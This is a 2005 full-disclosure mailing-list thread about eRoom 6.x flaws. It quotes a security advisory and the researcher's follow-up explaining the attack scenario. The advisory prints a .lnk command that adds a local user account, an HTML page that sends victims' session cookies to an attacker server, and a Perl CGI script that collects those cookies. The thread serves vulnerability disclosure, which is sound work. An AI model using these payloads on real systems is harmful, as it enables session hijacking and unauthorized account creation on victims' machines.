Message-ID: <df8ba96d0507071420178f3b9a@mail.gmail.com>
Date: Thu Jul  7 22:21:02 2005
From: c0ntexb at gmail.com (c0ntex)
Subject: Fwd: RE: eRoom Multiple Security Issues

The .lnk file can be anything and IS only executed once the user
clicks on it. i.e, I'm a vendor with access to the site, I upload my
cmd.exe.lnk file in my example, renamed to budget_info and send an
email announcement via eroom to all users to come look at the new
budget. When the users of the site then click on the file, it silently
adds a user account to their PC. The problem is due to the fact that
the eRoom plugin will silently download and run the file without popping up any
message.

The cookie code can be used for any cookie stealing yes, thats not the
point and the code is just an example. the problem is that one can
replay eRooms cookies and gain access once you have harvested them via
a javascript embedded html file, or what ever. gettting your HTML on
the site is trivial if you have access to eRoom, as there is always
somewhere "usually" that you can post. Once you have that file
uploaded, you can reference anywhere you like via <a href> <IFRAME>
and the likes.

regards
c0ntex

On 07/07/05, exibar@...lair.com <exibar@...lair.com> wrote:
> I don't see how uploading a .LNK file to E-Room would cause the file to be
> executed.  Wouldn't a .LNK file be treated as an Internet Link and attempt to
> be rendered in Internet Explorer?  Any chance of you posting your exact .lnk
> file to the list?  I must be missing something inbetween the jigs and the
> reels...
>
>    With the code you supplied for the cookie grabbing, couldn't you use that
> same code for any cookie harvesting as long as you know the name of the cookie
> you want to grab?   Of course the trick would be to get a link to your HTML
> code up on the site you wish to harvest the cookies from.....
>
>   Exibar
>
>
> ----- Original Message -----
> From: "c0ntex" <c0ntexb@...il.com>
> To: <full-disclosure@...ts.grok.org.uk>
> Sent: Wednesday, July 06, 2005 3:12 PM
> Subject: [Full-disclosure] eRoom Multiple Security Issues
>
> /*
>
> ****************************************************************************
> *************************************
>   $ An open security advisory #9 - eRoom v6.* Vulnerabilities
>
> ****************************************************************************
> *************************************
>   1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
>   2: Bug Released: July 06 2005
>   3: Bug Impact Rate: Medium / Hi
>   4: Bug Scope Rate: Remote
>
> ****************************************************************************
> *************************************
>   $ This advisory and/or proof of concept code must not be used for
> commercial gain.
>
> ****************************************************************************
> *************************************
>
>   Documentum eRoom
>   http://www.documentum.com
>
>   "Documentum eRoom enables enterprises to become more productive,
> efficient, and agile by bringing
>    together people, processes, and content. In fact, more than 1000
> Global 2000 enterprises use
>    Documentum eRoom to optimize key projects and processes."
>
>   eRoom has some vulnerabilities in that it does not deal with
> attached files or handle cookies in
>   a secure manner. This being the case, it is possible to abuse trust
> between users utilising the
>   system, execute code on systems of valid users and compromise user
> accounts by stealing/replaying
>   their session cookies.
>
>   Issues
>   ------
>
>   1) Attaching malicious files
>   2) Stealing and replaying cookies
>      -> I am unable to verify if the replay attack and cookie time out
> effects all versions of eRoom
>         6.* as I do not have access to a default installation and am
> unable to find a demo version
>         that I can use, though the chances are it is. I can guarantee
> that cookies can be stolen from
>         all versions and java script / HTML can be run from within an
> attached file.
>
>   1 - Attached files
>   ------------------
>
>   eRoom allows a user to attach files into the website to share with
> other users, however there is
>   no restriction on the type of file that can be attached. This can be
> abused to remotly compromise
>   the systems of eRooms users.
>
>   If an .exe file is uploaded, when the user clicks on the file the
> usual "what do you want to do
>   with this file" box pops up and as such, this does not seem a big
> problem. However, this check can
>   be bypassed by uploading a .lnk file (windows shortcut) to the site,
> which contains any command you
>   wish, I used the following:
>
>   %SystemRoot%\system32\cmd.exe /k net user hacker hackerpass /ADD
>
>   proving it is possible to have a command run on the remote users
> system once the user clicks on the
>   file. Notice there is no further user interaction required and no
> pop-up box is recieved, the .lnk
>   just gets downloaded by the eRoom plugin in the background and gets
> run, adding a user account to
>   the system.
>
>   There are no warnings given to the user about the file containing a
> link to an executable image, and
>   as such, it remains an invisible compromise.
>
>   The downloaded file will be left in
>
>   C:\Documents and Settings\user\Application Data\eRoom\eRoom
> Client\V6\Attachments\
>   {blahblah-blah-blah-blah-1234567890}\0_2bcb\budget_info.lnk
>
>   2 - Stealing and replaying cookies
>   ----------------------------------
>
>   Cookies used for authentication in eRoom seem to be set up in a
> manner that allows a simple replay
>   attack to be performed. The session cookie does not expire, as such,
> once it has been compromised
>   and harvested, anyone can then replay the cookie and gain access to
> the site as the original user.
>
>   Evil user uploads an html file to eRoom, the victim browses the file
> cookie.html, which will send
>   the users cookie information to a cgi script on a malicious web
> server and harvest the detials.
>   These cookie details can then be used in a replay attack giving the
> attacker the potential to gain
>   access to the web site as the user who accessed cookie.html.
>
>   /* cookie.html */
>   <html>
>   <head>
>     <title>Raiding the cookie jar</title>
>   </head>
>   <body>
>
>   <br>
>     <script>document.location='https://10.1.1.2/cgi-bin/cookie.cgi?'
> +document.cookie</script>
>   <br>
>
>   </body>
>   </html>
>
>   /* cookie.cgi */
>   #!/usr/bin/perl
>   use CGI qw(:standard);
>   use CGI::Carp qw(warningsToBrowser fatalsToBrowser);
>   use strict;
>
>   my $break = "<br>";
>   my $browser = $ENV{'HTTP_USER_AGENT'};
>   my $cookie = $ENV{'QUERY_STRING'};
>   my $remote = $ENV{'REMOTE_ADDR'};
>   my $referer = $ENV{'HTTP_REFERER'};
>   my $reqmeth = $ENV{'REQUEST_METHOD'};
>
>   print header;
>
>   print "<html>",
>         "<head><title>Cookie Jacker</title></head>",
>         "<center><h1>Yummy!</h1>",
>         "ASPSESSIONID & SMSESSIONID could be useful for something? ;)",
>         "$break$break$break$break",
>         "<img src=\"/cookiemonster.jpg\">",
>         "</center>",
>         "$break$break$break$break\n";
>
>   $cookie =~ s/;%20/$break/g;
>
>   if($browser =~ /MSIE/) {
>                 print "Come on, is this the 90s or smtng!$break";
>         } else {
>                 print "j00 are l33t$break";
>   }
>
>   print "Client connection came from $remote$break",
>         "Refered by $referer$break",
>         "Using $reqmeth$break$break",
>         "$cookie\n";
>
>   print end_html;
>
>   Also, looking in access_log, information similar to the following
> will be presented:
>
>   10.1.1.2 - - [21/Jun/2005:16:57:23 +0100] "GET /cgi-bin/a.cgi?<
> cookie_information > AS HTTP/1.1" 200 1769
>
>   There are no fixes available for these issues in 6.*, perhaps
> version 7 is more secure, all users are advised
>   to update to the latest version
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

--

regards
c0ntex


-- 

regards
c0ntex

Powered by blists - more mailing lists